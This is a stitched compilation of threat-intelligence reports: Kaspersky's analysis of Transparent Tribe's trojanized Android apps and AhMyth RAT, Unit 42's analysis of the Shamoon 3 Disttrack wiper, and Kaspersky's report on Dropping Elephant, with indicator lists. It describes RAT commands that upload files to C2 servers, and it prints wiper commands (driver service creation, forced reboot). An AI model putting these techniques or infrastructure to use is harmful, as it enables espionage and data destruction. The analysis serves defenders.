[7] [1]https://www.virustotal.com/search/query7ed557921ac60dfcb295ebabfd972301 [2]http://www.secureworks.com/cyberthreatintelligence/threats/htran/ [3]http://www.mcafee.com/us/resources/whitepapers/wpoperationshadyrat.pdf [4]http://www.bloomberg.com/news/20120726/chinahackershiteupointmananddcwithbyzantinecandor.html [5]http://www.bloomberg.com/news/20120726/chinahackershiteupointmananddcwithbyzantinecandor.html [6]https://www.virustotal.com/search/queryd7ec457be3fad8057580e07cae74becb [7]http://www.secureworks.com/cyberthreatintelligence/threats/htran/ ThispostwaswrittenbyFireEyeresearchersDarienKindlund,VinayPidathala,andThoufiqueHaq.
ThisentrywaspostedonFriFeb0115:56:30EST2013andfiledunderAdvancedPersistentThreat,Beebus,Blog,DarienKindlund,TargetedAttack,ThoufiqueHaq,VinayPidathalaand ZhengBu.
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Giampaolo Dedola Transparent Tribe: Evolution analysis, part 2 securelist.com/transparent-tribe-part-2/98233 Background  Key findings Transparent Tribe, also known as PROJECTM or MYTHIC LEOPARD, is a highly prolific group whose activities can be traced as far back as 2013.
In the last four years, this APT group has never taken time off.
They continue to hit their targets, which typically are Indian military and government personnel.
This is the second of two articles written to share the results of our recent investigations into Transparent Tribe.
In the previous article, we described the various Crimson RAT components and provided an overview of impacted users.
Here are some of the key insights that will be described in this part: We found a new Android implant used by Transparent Tribe for spying on mobile devices.
It was distributed in India disguised as a porn-related app and a fake national COVID-19 tracking app.
New evidence confirms a link between ObliqueRAT and Transparent Tribe.
Android implant During our analysis, we found an interesting sample, which follows a variant of the previously described attack scheme.
Specifically, the attack starts with a simple document, which is not malicious by itself, does not contain any macro and does not try to download other malicious components, but it uses social engineering tricks to lure the victim into downloading other documents from the following external URLs: hxxp://sharingmymedia[.
]com/files/Criteria-of-Army-Officers.doc 1/12 https://securelist.com/transparent-tribe-part-2/98233/ https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/08/25121915/sl_transparent_tribe_p2_01.png https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/08/25122131/sl_transparent_tribe_p2_02.png https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/08/25122231/sl_transparent_tribe_p2_03.png https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/08/25122333/sl_transparent_tribe_p2_04.png https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/08/25122942/sl_transparent_tribe_p2_05.png https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/08/25123019/sl_transparent_tribe_p2_06.png hxxp://sharingmymedia[.
]com/files/7All-Selected-list.xls 15DA10765B7BECFCCA3325A91D90DB37  Special Benefits.docx The remote files are two Microsoft Office documents with an embedded malicious VBA, which behaves similarly to those described in the previous article and drops the Crimson Thin Client.
The domain sharingmymedia[.
]com was even more interesting: it was resolved with the IP 89.45.67[.
]160 and was registered on 2020-01-10 using Namesilo and the following information: Registrant Name: bluff hunnter Registrant Organization: Registrant Street: India Dehli Registrant City: Dehli Registrant State/Province: Delhi 2/12 Registrant Postal Code: 110001 Registrant Country: IN Registrant Phone: 91.4214521212 Registrant Phone Ext: Registrant Fax: Registrant Fax Ext: Registrant Email: hunterbluff007gmail.com The same information was used to register another domain, sharemydrives[.
]com, which was registered seven days before, on 2020-01-03, using Namesilo.
DNS resolution points to the same IP address: 89.45.67[.
]160.
Using our Kaspersky Threat Intelligence Portal, we found the following related URL: Information in Kaspersky Threat Intelligence Portal The file is a modified version of MxVideoPlayer, a simple open-source video player for Android, downloadable from GitHub and used by Transparent Tribe to drop and execute their Android RAT.
3/12 Desi-porn.apk screenshot The dropper tries to find a list of legitimate packages on the system: imo.android.imoim snapchat.android viber.voip facebook.lite If the device was produced by Xiaomi, it also checks if the com.truecaller package is present.
4/12 The code used to check if legitimate packages are installed The first application on the list that is not installed on the system will be selected as the target application.
The malware embeds multiple APK files, which are stored in a directory named assets.
The analyzed sample includes the following packages: apk a20fc273a49c3b882845ac8d6cc5beac apk 53cd72147b0ef6bf6e64d266bf3ccafe apk bae69f2ce9f002a11238dcf29101c14f apk b8006e986453a6f25fd94db6b7114ac2 apk 4556ccecbf24b2e3e07d3856f42c7072 apk 6c3308cd8a060327d841626a677a0549 The selected APK is copied to /.System/APK/.
By default, the application tries to save the file to external storage, otherwise it saves it to the data directory.
Finally, the application tries to install the copied APK.
The final malware is a modified version of the AhMyth Android RAT, open-source malware downloadable from GitHub, which is built by binding the malicious payload inside other legitimate applications.
5/12 The original AhMyth RAT includes support for the following commands: Commands Additional fields Value Description x0000ca extra camlist get a camera list extra 1 get a photo from the camera with the id 1 extra 0 get a photo from the camera with the id 0 x0000fm extra path ls dirpath get a list of files in the directory specified in the path variable.
extra path dl filepath upload the specified file to the C2 x0000sm extra ls get a list of text messages extra to sms sendSMS number message send a new text to another number x0000cl get the call log x0000cn get contacts x0000mc sec seconds record audio from the microphone for the specified number of seconds and upload the resulting file to the C2.
x0000lm get the device location Basically, it provides the following features: camera manager (list devices and steal screenshots) file manager (enumerate files and upload these to the C2) SMS manager (get a list of text messages or send a text) get the call log get the contact list microphone manager location manager (track the device location) 6/12 The RAT that we analyzed is slightly different from the original.
It includes new features added by the attackers to improve data exfiltration, whereas some of the core features, such as the ability to steal pictures from the camera, are missing.
The operators added the following commands: x000upd  download a new APK from the URL specified in the path field.
x000adm  autodownloader: not implemented in the version we analyzed, but available in other samples.
Moreover, the creators of the RAT also improved its audio surveillance capabilities and included a command to delete text messages with specific contents.
Commands Additional fields Value Description x000upd path url download a new APK from the URL specified in the path field x000adm not implemented in the analyzed version.
Other samples use this to start a class named autodownloader.
x0000mc extra sec au seconds record audio for x seconds and upload the resulting file to the C2.
Duration is specified in the sec value.
extra mu stop recording and upload the resulting file to the C2 extra muS start recording continuously.
This generates MP3 files stored in the /.System/Records/ directory.
x0000fm extra path ls dirpath get a list of files in the directory specified in the path variable extra path dl filepath upload the specified file to hxxp://212.8.240[.
]221:80/server/upload.php sms extra ls get a list of text messages extra to sms sendSMS number message Send a new text to another number.
7/12 extra to sms deleteSMS message Delete a text that contains the string specified in the sms value.
The to value is ignored.
x0000cl get the call log x0000cn get contacts x0000lm get the device location The autodownloader is a method used for performing the following actions: upload a contact list upload a text message list upload files stored in the following directories: /.System/Records/ /Download/ /DCIM/Camera/ /Documents/ /WhatsApp/Media/WhatsApp Images/ /WhatsApp/Media/WhatsApp Documents/ The attacker uses the method to collect contacts and text messages automatically.
In addition, the method collects the following: audio files created with the x0000mc command and stored in /.System/Records/, downloaded files, photos, images and documents shared via WhatsApp and other documents stored on the device.
Another interesting difference between the original AhMyth and the one modified by Transparent Tribe is the technique used for getting the C2 address.
The original version stores the C2 server as a string directly embedded in the code, whereas the modified version uses a different approach.
It embeds another URL encoded with Base64 and used for getting a configuration file, which contains the real C2 address.
In our sample, the URL was as follows: hxxp://tryanotherhorse[.
]com/config.txt It provided the following content: 212.8.240.221:5987 http://www.tryanotherhorse.com The first value is the real C2, which seems to be a server hosted in the Netherlands.
8/12 The modified version communicates via a different URL scheme, which includes more information: Original URL scheme: http://server:port?
modelvalmanfvalreleasevalidval Modified URL scheme http://server:port?
macvalbatteryvalmodelvalmanfvalreleasevalidval Covid-19 tracking app We found evidence of Transparent Tribe taking advantage of pandemic-tracking applications to distribute trojanized code.
Specifically, we found an APK file imitating Aarogya Setu, a COVID-19 tracking mobile application developed by the National Informatics Centre under the Ministry of Electronics and Information Technology, Government of India.
It allows users to connect to essential health services in India.
The discovered application tries to connect to the same malicious URL to get the C2 IP address: hxxp://tryanotherhorse[.
]com/config.txt It uses the same URL scheme described earlier and it embeds the following APK packages: apk CF71BA878434605A3506203829C63B9D apk 627AA2F8A8FC2787B783E64C8C57B0ED apk 62FAD3AC69DB0E8E541EFA2F479618CE apk A912E5967261656457FD076986BB327C apk 3EB36A9853C9C68524DBE8C44734EC35 apk 931435CB8A5B2542F8E5F29FD369E010 Interestingly enough, at the end of April, the Indian Army issued a warning to its personnel against Pakistani agencies nefarious designs to hack the phones of Indian military personnel through a malicious application similar to Aarogya Setu.
According to some Indian online news sites, these applications were found to be sent by Pakistani Intelligence Operatives to WhatsApp groups of Indian Army personnel.
It also mentioned that these applications later deployed additional packages: According to some Indian online news sites, these applications were found to be sent by Pakistani Intelligence Operatives to WhatsApp groups of Indian Army personnel.
It also mentioned that these applications later deployed additional packages: face.apk imo.apk normal.apk 9/12 https://www.mygov.in/aarogya-setu-app/ https://www.tribuneindia.com/news/nation/intel-agencies-caution-armed-forces-against-pak-propped-fake-aarogya-setumobile-app-78549 https://www.thehitavada.com/Encyc/2020/5/1/Pak-agencies-using-fake-Aarogya-Setu-app-to-spy-on-us-Indian-Army.html trueC.apk snap.apk viber.apk Based on public information, the application may have been distributed by sending a malicious link via WhatsApp, SMS, phishing email or social media.
ObliqueRAT connection ObliqueRAT is another malicious program, described by Cisco Talos in an interesting article published in February.
It was attributed to Transparent Tribe because some samples were distributed through malicious documents forged with macros that resembled those used for distributing Crimson RAT.
The report described two ObliqueRAT variants, one distributed via a malicious document as the infection vector and another one, named Variant 0 and distributed with a dropper.
4a25e48b8cf515f4cdd6711a69ccc875429dcc32007adb133fb25d63e53e2ac6 Unfortunately, as reported by Talos, The initial distribution vector of this dropper is currently unknown.
At this time, we do not have the full infection chain, but we can add another piece to the puzzle, because sharemydrives[.
]com also hosted another file: Information in Kaspersky Threat Intelligence Portal The wifeexchange.exe sample is another dropper, which disguises itself as a porn clip.
Specifically, the executable file uses the same icon used by Windows for multimedia files.
Dropper icon Once executed, the process tries to find a specific marker () inside its file image, then drops and opens the following files: frame.exe 4a25e48b8cf515f4cdd6711a69ccc875429dcc32007adb133fb25d63e53e2ac6 10/12 https://blog.talosintelligence.com/2020/02/obliquerat-hits-victims-via-maldocs.html movie.mp4 Frame.exe is the dropper described by Talos, while movie.mp4 is a small porn clip.
Conclusions Transparent Tribe members are trying to add new tools to extend their operations and infect mobile devices.
They are also developing new custom .NET tools like ObliqueRAT, and as observed in the first report, we do not expect this group to slow down any time soon.
We will keep monitoring their activities.
IoC The followings IoC list is not complete.
If you want more information about the APT discussed here, a full IoC list and YARA rules are available to customers of Kaspersky Threat Intelligence Reports.
Contact: intelreportskaspersky.com 15DA10765B7BECFCCA3325A91D90DB37  Special Benefits.docx 48476DA4403243B342A166D8A6BE7A3F  7All_Selected_list.xls B3F8EEE133AE385D9C7655AAE033CA3E  Criteria of Army Officers.doc D7D6889BFA96724F7B3F951BC06E8C02  wifeexchange.exe 0294F46D0E8CB5377F97B49EA3593C25  Android Dropper  Desi-porn.apk 5F563A38E3B98A7BC6C65555D0AD5CFD  Android Dropper  Aarogya Setu.apk A20FC273A49C3B882845AC8D6CC5BEAC  Android RAT  face.apk 53CD72147B0EF6BF6E64D266BF3CCAFE  Android RAT  imo.apk BAE69F2CE9F002A11238DCF29101C14F  Android RAT  normal.apk B8006E986453A6F25FD94DB6B7114AC2  Android RAT  snap.apk 4556CCECBF24B2E3E07D3856F42C7072  Android RAT  trueC.apk 6C3308CD8A060327D841626A677A0549  Android RAT  viber.apk CF71BA878434605A3506203829C63B9D  Android RAT  face.apk 627AA2F8A8FC2787B783E64C8C57B0ED  Android RAT  imo.apk 62FAD3AC69DB0E8E541EFA2F479618CE  Android RAT  normal.apk A912E5967261656457FD076986BB327C  Android RAT  snap.apk 3EB36A9853C9C68524DBE8C44734EC35  Android RAT  trueC.apk 931435CB8A5B2542F8E5F29FD369E010  Android RAT  viber.apk hxxp://sharingmymedia[.
]com/files/Criteria-of-Army-Officers.doc hxxp://sharingmymedia[.
]com/files/7All-Selected-list.xls hxxp://sharemydrives[.
]com/files/Laptop/wifeexchange.exe hxxp://sharemydrives[.
]com/files/Mobile/Desi-Porn.apk 11/12 mailto:intelreportskaspersky.com hxxp://tryanotherhorse[.
]com/config.txt  APK URL 212.8.240[.
]221:5987  Android RAT C2 hxxp://212.8.240[.
]221:80/server/upload.php  URL used by Android RAT to upload files 12/12 Transparent Tribe: Evolution analysis, part 2 Background  Key findings Android implant Covid-19 tracking app ObliqueRAT connection Conclusions IoC
By Robert Falcone December 13, 2018 Shamoon 3 Targets Oil and Gas Organization unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization Summary On December 10,  a new variant of the Disttrack malware was submitted to VirusTotal (SHA256:c3ab58b3154e5f5101ba74fccfd27a9ab445e41262cdf47e8cc3be7416a5904f) that shares a considerable amount of code with the Disttrack malware used in the Shamoon 2 attacks in 2016 and 2017 that we previously published here, here, and here.
While we could not identify the impacted organization from the malware, today Saipem disclosed they were attacked.
In previous attacks, we were able to determine the impacted organization based on the domain names and credentials used by the Disttrack tool to spread to other systems on the network.
However, that functionality was missing from this sample.
Unlike past Shamoon attacks, this particular Disttrack wiper would not overwrite files with an image.
Instead it would overwrite the MBR, partitions, and files on the system with randomly generated data.
According to a press release,  Saipem confirmed that they experienced a cyberattack that involved a variant of the Shamoon malware.
The attack caused infrastructure and data availability issues, forcing the organization to carry out restoration activities.
Saipem told Reuters that 300 systems on their network were crippled by the malware related to the 2012 Shamoon attacks.
While we cannot definitively confirm that Saipem was the impacted organization, the timing of this incident with the emergence of the Disttrack sample discussed in this blog is quite coincidental.
Dropper The sample submitted to VirusTotal is a Disttrack dropper, which is responsible for installing a communications and wiper module to the system.
The dropper is also responsible for spreading to other systems on the same local network, which it accomplishes by attempting to log into other systems on the network remotely using previously stolen usernames and passwords.
Unfortunately, this particular sample does not contain any domains, usernames, or passwords to perform this spreading functionality, so this sample would only run on the system in which it was specifically executed.
The dropper has a hardcoded kill time of 12/7/17 23:51 if the system date is after this date the dropper installs the wiper module and starts wiping files on the system.
The dropper reads the WINDOWS\inf\mdmnis5tQ1.pnf file to obtain a custom kill date that it will use instead of the hardcoded time.
The communications module installed by the dropper writes to this file, which will be discussed in a later section.
The dropper also decrypts a string \inf\averbh_noav.pnf that is the other file that the communications module uses to write system information to and if the wiper was able to successfully wipe the system, but the dropper does not appear to use this file.
The dropper has three resources, two of which contain embedded modules, specifically a communications module and a wiper module.
The third resource contains an x64 variant of the dropper, which it will use if the architecture of the system is determined to be x64.
The resources have a language set to SUBLANG_ARABIC_YEMEN that was also found in the previous Disttrack samples used in Shamoon 2 attacks.
The resource names are PIC, LNG, and MNU, which are slightly altered versions of the ICO, LANG, and MENU names found in previous samples.
The dropper extracts modules from these resources by seeking a specific offset and reading a specific number of bytes as the length of the ciphertext.
The dropper then decrypts the ciphertext by using an XOR cipher and a specific base64 encode string that is decoded and used as the key.
Before accessing the ciphertext, the dropper subtracts 14 from the specified offset, which is the same as previous Disttrack samples delivered in Shamoon 2 attacks.
Tables 1, 2, and 3 include the resources, the information used to extract them, and the resulting module.
Resource name PIC Description x64 variant of Dropper Base64 Key 2q9BQGHGVktPVIMZ6Nx17Njp4B5mHgj51hbybNInRWsNIWniq6hOYvf5CksMXvPOyl/3dYKDn7ymSGlK0l5KA8YC8dzkkAwmn0nbBO97HgjJKJyL9DoiYKsO2MA44NgOI89FIsWjcex9oEWzOo6VvxJ69HBvgL4FExlbd8ZfvGewxgPgl98lqVGj14y5OBFIHTdvfxnnq/cTR55TgQdVDFUJHd2ljyzDl3LKPSUxT9sIE1aS7EA Offset 8786-14 Length 983552 SHA256 of Cleartext 0975eb436fb4adb9077c8e99ea6d34746807bc83a228b17d321d14dfbbe80b03 Table 1 Resource containing the x64 variant of the Disttrack dropper Resource name MNU Description Communications module Base64 Key U3JGgjNUDzWJEpOxzuwHjOijgav56cZatHh98dLbazGIBe7UMOcvdyCvU5/8mH1n7jUcMSIPFmqr7M671h5jradiKMn9M1sBdAmKSZUnXhz6FQKcvzkOee6EKEQZdKABTKX4mW0arvZG70YhczUhI2ywcEcx5tU6/aeQoX6ABoiP3wLsSsRatGwqR89fMir6S2Z7Lf5YW3i0a/2vCxwjK9r/zO5FXJBXsV1QRJ8F27t8pmYYFNiaN4OaN7Gu7lf8 Offset 8601-14 Length 266752 1/4 https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/ https://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/ https://researchcenter.paloaltonetworks.com/2017/01/unit42-second-wave-shamoon-2-attacks-identified/ https://researchcenter.paloaltonetworks.com/2017/03/unit42-shamoon-2-delivering-disttrack/ https://www.reuters.com/article/us-cyber-shamoon/saipem-says-shamoon-variant-crippled-hundreds-of-computers-idUSKBN1OB2FA http://www.saipem.com/sites/SAIPEM_en_IT/con-side-dx/Press releases/2018/Cyber attack update.page https://www.reuters.com/article/us-cyber-shamoon/saipem-says-shamoon-variant-crippled-hundreds-of-computers-idUSKBN1OB2FA SHA256 of Cleartext 0694bdf9f08e4f4a09d13b7b5a68c0148ceb3fcc79442f4db2aa19dd23681afe Table 2 Resource containing the communications module in the Disttrack dropper Resource name LNG Description Wiper module Base64 Key cb5F91PLTu1hN8oPgG2a6AQiJkphsXAmWFarsUoYEFo/BNgxF8Rj/hdzHxW/k/fLCZboSJRLnr9OH578IJyiSSdvz3uUaNA/vycy7ZJaZ8Vf36i0L8fF9GYY4/glZt570dbuT8N7N6DFqIltGLAt87fZnUH07RlfqtsVfITXGlhJtxu7bBgB46gH74YWNy16u9BS8mdhS8jqToZrob7o4wI2CUcoaf17mZ7P2SIVLX5GVls6OrDA3/t50GX3t6wH4DTR7IHhoonQPA5rmKWxS6gcp Offset 7892-14 Length 402432 SHA256 of Cleartext 391e7b90bf3f0bfeb2c2602cc65aa6be4dd1c01374b89c4a48425f2d22fe231c Table 3 Resource containing the wiper module within the Disttrack dropper The dropper will install itself to the system (and remote systems if spreading was possible) by creating a service with the attributes listed in Table 4 below.
Service name MaintenaceSrv Service display name Maintenace Host Service Service description The Maintenace Host service is hosted in the LSA process.
The service provides key process isolation to private keys and associated cryptographic operations as required by the Common Criteria.
The service stores and uses long-lived keys in a secure process compl\x1d Binary path MaintenaceSrv32.exe or MaintenaceSrv64.exe Table 4 Service created by the Disttrack dropper The dropper chooses a random name when installing the communication and wiper modules to the system.
The communications module will have one of the following filenames with the exe file extension: netnbdrve prnod802 netrndiscnt netrtl42l mdmadccnt prnca00 bth2bht_ibv32 cxfalcon_ibL32 mdmsupr30 digitalmediadevicectl mdmetech2dmv netb57vxx winwsdprint prnkwy005 composite005 mdmar1_ibv32 prnle444 kscaptur_ibv32 mdmzyxlga usbvideob input_ibv48 prnok002_ibv averfx2swtvZ wpdmtp_ibv32 mdmti_ibv32 printupg_ibv32 wiabr788 The wiper module will have one of the following filenames with the exe file extension: 2/4 _wialx002 __wiaca00a tsprint_ibv acpipmi2z prnlx00ctl prngt6_4 arcx6u0 _tdibth prncaz90x mdmgcs_8 mdmusrk1g5 netbxndxlg2 prnsv0_56 af0038bdax averfix2h826d_noaverir megasasop hidirkbdmvs2 vsmxraid mdamx_5560 wiacnt7001 Wiper The wiper module (SHA256: 391e7b90bf3f0bfeb2c2602cc65aa6be4dd1c01374b89c4a48425f2d22fe231c) that the dropper writes to the system is responsible for overwriting the data within the MBR, partitions, and files on the system.
The wiper carries out this wiping using a legitimate hard disk driver called RawDisk by ElDos.
The wiper contains the ElDos RawDisk driver in a resource named e that it extracts by skipping to offset 1984 and reading 27792 bytes from that offset.
It then decrypts the data using aa 247-byte key and saves it to WINDOWS\system32\hdv_725x.sys.
The wiper then creates a service named hdv_725x for this driver using the following command line command and runs it with sc start hdv_725x: sc create hdv_725x type kernel start demand binpath WINDOWS\system32\hdv_725x.sys This wiper was configured using the R flag, which generates a buffer of random bytes that it will use to overwrite the MBR, partitions and files.
The sample supports two additional configuration flags as well, specifically F and E flags that will either overwrite files using a file or encrypt its contents.
The wiper could be configured to use a file to overwrite the files on the disk using the F configuration flag, as we saw images used to overwrite files in previous Shamoon attacks.
This file would be stored in a resource named GRANT, but this particular wiper is not configured to use a file for overwriting so the GRANT resource does not exist.
If it were configured to use a file, this sample would extract the file using the information listed in Table 5.
Resource name GRANT Description File to overwrite within Wiper module Base64 Key heocXOK4rDmQg4LRfiURI9wSOuSMwe0e69NfEpZLmyNixiUGYdEtpx/ZG3rMRN7GZlJ1/crQTz5Bf6W0xgkyYCwzD247FolCGA0EE5U/Oun5qlDd1u1CAfee7cG Offset 71-14 Length unknown SHA256 of Cleartext unknown Table 5 Resource in wiper module that would contain file to use for overwriting data This sample is also capable of being configured to import an RSA key to encrypt the MBR, partitions, and files via configuration flag E. This sample was not configured to encrypt files, and the RSA key is empty in the wiper.
After completing this wiping functionality, the sample will reboot the system using the following command line, which will render it unusable when the system reboots as the important system locations and files have been overwritten with random data: shutdown -r -f -t 2 Communications The communications module (SHA256: 0694bdf9f08e4f4a09d13b7b5a68c0148ceb3fcc79442f4db2aa19dd23681afe) dropped by the Disttrack dropper will use the following two supporting files: WINDOWS\inf\mdmnis5tQ1.pnf  Used to set a wipe date for associated wiper module WINDOWS\inf\averbh_noav.pnf  Used to mark successful wiping 3/4 The communications module is responsible for reaching out to hardcoded URLs to communicate with the C2 server, but like previous Disttrack samples, this communication module does not contain functional C2 domains to use in the URLs.
If it did, it would create a URL with a parameter named selection followed by system information and the contents of the averbh_noav.pnf file, as seen here: [C2 URL, empty]?selection[system info and contents of averbh_noav.pnf] When communicating with the C2 URL, the communications module would use a User Agent of Mozilla/13.0 (MSIE 7.0 Windows NT 6.0), which is the same as past Disttrack communication module samples.
Table 6 below show the two commands the C2 could respond with that the communications module could handle.
Command Description E Reads base64 encoded file from the C2 server, runs del /f /a TEMP\Temp\reilopycb\.exe to delete previously downloaded executables, runs mkdir TEMP\Temp\reilopycb]  nul 21 to create a folder and saves the executbale to a file named [tick count].exe.
The Trojan then runs the downloaded executable TEMP\Temp\reilopycb\[tick count].exe T Opens the \inf\mdmnis5tQ1.pnf file and writes a supplied date to the file.
The \inf\mdmnis5tQ1.pnf file is used by another associated module to this communications module that is responsible for wiping the system.
Table 6 Commands available within the communication modules command handler Conclusion The Disttrack sample uploaded to VirusTotal is a variant of the samples used in the Shamoon 2 attacks in 2016 and 2017.
The tool does not have the capability to spread to other systems on the local network.
Instead it would have to be loaded onto and executed on the system that the actors intend to wipe.
The wipe date of 12/7/2017 does not seem timely.
However, this older date is still effective as the Disttrack dropper will install and run the wiper module as long as the system date is after the wipe date.
Unlike past Shamoon attacks, this particular Disttrack wiper would not overwrite files with an image.
Instead, it would overwrite the MBR, partitions and files on the system with random data.
While we cant confirm this sample was used in the Saipem attack, it is likely at least related to it.
Palo Alto Networks customers are protected from this threat: WildFire detects all samples associated with this attack with malicious verdicts AutoFocus customers can track this attack and previous Shamoon attacks using the Disttrack Indicators of Compromise c3ab58b3154e5f5101ba74fccfd27a9ab445e41262cdf47e8cc3be7416a5904f  Disttrack Dropper x86 0975eb436fb4adb9077c8e99ea6d34746807bc83a228b17d321d14dfbbe80b03  Disttrack Dropper x64 0694bdf9f08e4f4a09d13b7b5a68c0148ceb3fcc79442f4db2aa19dd23681afe  Disttrack Comms module x86 391e7b90bf3f0bfeb2c2602cc65aa6be4dd1c01374b89c4a48425f2d22fe231c  Disttrack Wiper module x86 6985ef5809d0789eeff623cd2436534b818fd2843f09fa2de2b4a6e2c0e1a879  ElDos RawDisk Driver x86 ccb1209122085bed5bded3f923835a65d3cc1071f7e4ad52bc5cf42057dd2150  Disttrack Comms module x64 dab3308ab60d0d8acb3611bf364e81b63cfb6b4c1783864ebc515297e2297589  Disttrack Wiper module x64 bc4513e1ea20e11d00cfc6ce899836e4f18e4b5f5beee52e0ea9942adb78fc70  ElDos RawDisk Driver x64 2019 Palo Alto Networks, Inc. All rights reserved.
4/4 https://autofocus.paloaltonetworks.com//tag/Unit42.Disttrack Shamoon 3 Targets Oil and Gas Organization
The Dropping Elephant  aggressive cyber-espionage in the Asian region securelist.com /blog/research/75328/the-dropping-elephant-actor/ Kaspersky Labs Global Research  Analysis Team Dropping Elephant (also known as Chinastrats and Patchwork) is a relatively new threat actor that is targeting a variety of high profile diplomatic and economic targets using a custom set of attack tools.
Its victims are all involved with Chinas foreign relations in some way, and are generally caught through spear-phishing or watering hole attacks.
Overall, the activities of this actor show that low investment and ready-made offensive toolsets can be very effective when combined with high quality social engineering.
We have seen more such open source toolset dependency with meterpreter and BeEF, and expect to see this trend continue.
The Attack Method: Infection Vector Dropping Elephant uses two main infection vectors that share a common, and fairly elaborately maintained, social engineering theme  foreign relations with China.
The first approach involves spear-phishing targets using a document with remote content.
As soon as the user opens the document, a ping request is sent to the attackers server.
At this point, the attackers know the user has opened the document and send another spear-phishing email, this time containing an MS Word document with an embedded executable.
The Word document usually exploits CVE-2012-0158.
Sometimes the attackers send an MS PowerPoint document instead, which exploits CVE-2014-6352.
Once the payload is executed, an UPX packed AutoIT executable is dropped.
Upon execution, this downloads additional components from the attackers servers.
Then the stealing of documents and data begins.
The second approach involves capturing victims through watering hole attacks.
The actor created a website that downloads genuine news articles from other websites.
If a website visitor wants to view the whole article they would need to download a PowerPoint document.
This reveals the rest of the article, but also asks the visitor to download a malicious artifact.
The two main infection vectors are supported by other approaches.
Sometimes, the attackers email out links to their watering hole websites.
They also maintain Google, Facebook and twitter accounts to develop relevant SEO and to reach out to wider targets.
Occasionally, these links get retweeted, indiscriminately bringing more potential victims to their watering holes.
The Attack Tools 1.
Malware Analysis The backdoor is usually UPX packed but still quite large in size.
The reason for this is that most of the file comprises meaningless overlay data, since the file is an automatically generated AutoIT executable with an AutoIT3 script embedded inside.
Once started, it downloads additional malware from the C2 and also uploads some basic system information, stealing, among other things, the users Google Chrome credentials.
The backdoor also pings the C2 server at regular intervals.
A good security analyst can spot this while analyzing firewall log files and thereby find out that something suspicious might be going on in the network.
1/7 https://securelist.com/blog/research/75328/the-dropping-elephant-actor/ https://securelist.com/author/great/ https://www.cymmetria.com/patchwork-targeted-attack/ https://cdn.securelist.com/files/2016/07/picture_c2-activity.png Generally speaking, backdoors download additional malware in the form of encrypted or packed executables/libraries.
But, in the case of Dropping Elephant, the backdoor downloads encoded blobs that are then decoded to powershell command line scripts.
These scripts are run and, in turn download the additional malware.
One of the more interesting malware samples downloaded is the file-stealer module.
When this file-stealer is executed, it makes another callback to the C2 server, downloading and executing yet another malware sample.
It repeatedly attempts to iterate through directories and to collect files with the following extensions: doc, docx, ppt, pptx, pps, ppsx, xls, xlsx, and pdf.
These files are then uploaded to the C2 server.
Also interesting are the resilient communications used by this group.
Much like the known actors Miniduke or CommentCrew, it hides base64 encoded and encrypted control server locations in comments on legitimate web sites.
However, unlike the previous actors, the encrypted data provides information about the next hop, or the true C2 for the backdoor, instead of initial commands.
2.
C2 Analysis In many cases it was very difficult to get a good overview of the campaign and to find out how successful it is.
By combining KSN data with partner-provided C2 server data, we were able to obtain a much fuller picture of the incident.
We examined connections and attack logins to this particular C2.
As it turned out, the attackers often logged in via a VPN, but sometimes via IPs belonging to an ordinary ISP in India.
We then looked at the time the attackers were active, of which you can find an image below.
Victim Profile and Geography We also wanted to get a better idea of the geolocation of most visitors.
Analysis of the image provided access counts and times, along with the IP of the visiting system.
Noteworthy are the many IPs located in China.
This focus on China-related foreign relations was apparent from the ongoing social engineering themes that were constant throughout the attacks.
The concentration of visits from CN (Peoples Republic of China) could be for a variety of reasons  diplomatic staff are visiting these sites from their CN offices, CN academics and analysts are very interested in researching what they believe to be CN-focused think 2/7 tanks, or some of the IPs are unknown and not self-identifying as bots or scrapers.
Regardless, because we were able to determine that multiple targets are diplomatic and governmental entities, these foreign relations efforts are likely to represent the main interest of the attackers.
Conclusion Campaigns do not always need to be technically advanced to be successful.
In this case, a small group reusing exploit code, some powershell-based malware and mostly social engineering has been able to steal sensitive documents and data from victims since at least November 2015.
Our analysis of the C2 server confirmed the high profile of most victims, mainly based in the Asian region and specially focused on Chinese interests.
Actually, some hints suggest the group has been successful enough to have recently expanded its operations, perhaps after proving its effectiveness and the value of the data stolen.
This is quite worrying, especially given the fact that no 0 days or advanced techniques were used against such high profile targets.
Simply applying software patches will prevent attacks based on old exploits, as well as training in the most basic social engineering attacks.
However, it should be noted that in this case Microsofts patch for exploit CVE-2014-1761 just warns the user not to allow the execution of the suspicious file.
Dropping Elephant artifacts are detected by Kaspersky Lab products as: Exploit.
Win32.CVE-2012-0158.
Exploit.
MSWord.
CVE-2014-1761.
Trojan-Downloader.
Win32.Genome.
HEUR:Trojan.
Win32.Generic As usual Kaspersky Lab actively collaborates with CERTs and LEAs to notify victims and help to mitigate the threat.
If you need more information about this actor, please contact intelreportskaspersky.com More information on how Kaspersky Lab technologies protect against such cyberespionage attacks is available on Kaspersky Business blog.
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UruguayJul-Dec_2o.pps f7905a7bd6483a12ab36071363b012c3 uruguayjul-dec_2.pps 409e3368af2add71265d2811aa9d6817 US_China.doc 5a89f11f4bb3b5637c731e206f807ff7 us_srilanka_relations_1.pps 7f50d3f4eabffe7225a2d5f0c91009c8 us_srilanka_relations_2.pps 3d01d2a42450064c55574d853c086f9a WILL_ISIS_INFECT_BANGLADESH.doc 1538a412fd4035954237c0b4c135fcba WILL_ISIS_INFECT_BANGLADESH.pps eb0b18ecaa6f40e48970b08f3a3e6803 zodiac_1.pps da29f5eeb39332a850f04be2906315c1 zodiac_2.pps Domains and IPs http://www.epg-cn[.
]com http://chinastrat[.
]com http://www.chinastrats[.
]com http://www.newsnstat[.
]com http://cnmilit[.
]com http://163-cn[.
]org alfred.ignorelist[.
]com http://5.254.98[.
]68 http://43.249.37[.
]173 http://85.25.79[.
]230 http://10.30.4[.
]112 http://5.254.98[.
]68 http://microsofl.mooo[.
]com ussainbolt.mooo[.
]com ussainbolt1.mooo[.
]com updatesys.zapto[.
]org updatesoft.zapto[.
]org http://feeds.rapidfeeds[.
]com/61594/ http://wgeastchina.steelhome[.
]cn/xml.xml http://hostmyrss[.
]com/feed/players http://feeds.rapidfeeds[.
